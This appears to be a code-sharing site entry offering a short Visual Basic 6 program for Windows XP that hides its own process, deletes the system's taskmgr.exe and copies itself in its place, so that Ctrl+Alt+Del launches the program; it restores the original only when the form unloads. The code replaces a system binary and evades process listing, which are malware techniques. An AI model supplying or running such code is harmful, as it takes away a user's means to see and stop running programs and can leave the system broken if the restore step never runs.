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Description

This code temporary disables the taskmanager, works with Windows XP Home ... please vote ...

More Info

After inputing the code, compile this app... and when a user presses, Alt + CTRL + Del it will display the current application...

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By	Lee S. Cook
Level	Beginner
User Rating	2.6 (13 globes from 5 users)
Compatibility	VB 6.0
Category	Coding Standards
World	Visual Basic
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Source Code

Private Sub Form_Load()
  ' Hides the application from the taskmanager
  TaskVisible = False
  ' Makes a backup directory for taskmgr.exe
  MkDir "C:\TASKMANAGER-BACKUP"
  ' Makes a backup of taskmgr.exe .
  FileCopy "C:\WINDOWS\System32\taskmgr.exe", "C:\TASKMANAGER-BACKUP\taskmgr1.exe"
  ' Deletes the taskmgr.exe file .
  Kill "C:\WINDOWS\System32\taskmgr.exe"
  ' Copies this application and temporary bypassses it for taskmgr.exe .
  FileCopy App.Path & "\project1.exe", "C:\WINDOWS\System32\taskmgr.exe"
End Sub
Private Sub Form_Unload(Cancel As Integer)
  ' Copies the original file back to the original location on form unload .
  FileCopy "C:\TASKMANAGER-BACKUP\taskmgr1.exe", "C:\WINDOWS\System32\taskmgr.exe"
   'Deletes the temporary file
  Kill "C:\TASKMANAGER-BACKUP\taskmgr1.exe"
  'Deletes the temporary backup folder
  RmDir ("C:\TASKMANAGER-BACKUP")
End Sub